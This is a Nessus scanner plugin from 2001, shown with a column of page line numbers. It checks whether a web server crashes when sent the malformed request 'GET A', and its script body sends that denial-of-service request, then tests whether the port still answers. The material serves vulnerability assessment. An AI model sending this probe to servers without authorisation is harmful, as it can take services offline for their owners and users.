1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10636);
name["english"] = "Orange DoS";
name["francais"] = "Orange DoS";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "It was possible
to make the remote web server crash
by sending it an invalid HTTP request (GET A)
A cracker may use this attack to
prevent this host from fulfilling
its role
Solution : contact your vendor for a patch
Risk factor : Serious";
desc["francais"] = "Il s'est avr
possible de faire planter le
serveur web distant en envoyant une
requte HTTP errone (GET A)
Un pirate peut utiliser cette
attaque pour empecher cette machine
de remplir son role de serveur web.
Solution : contactez le vendeur pour un patch.
Facteur de risque : Srieux";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Crashes the remote web server";
summary["francais"] = "Plante le serveur web distant";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison",
francais:"Ce script est Copyright (C) 2001 Renaud Deraison");
family["english"] = "Denial of Service";
family["francais"] = "Dni de service";
script_family(english:family["english"], francais:family["francais"]);
script_dependencies("find_service.nes");
exit(0);
}
port = get_kb_item("Services/www");
if(!port) port = 80;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
req = string("GET A\r\n");
send(socket:soc, data:req);
close(soc);
sleep(2);
soc2 = open_sock_tcp(port);
if(!soc2)security_hole(port);
}
}
|
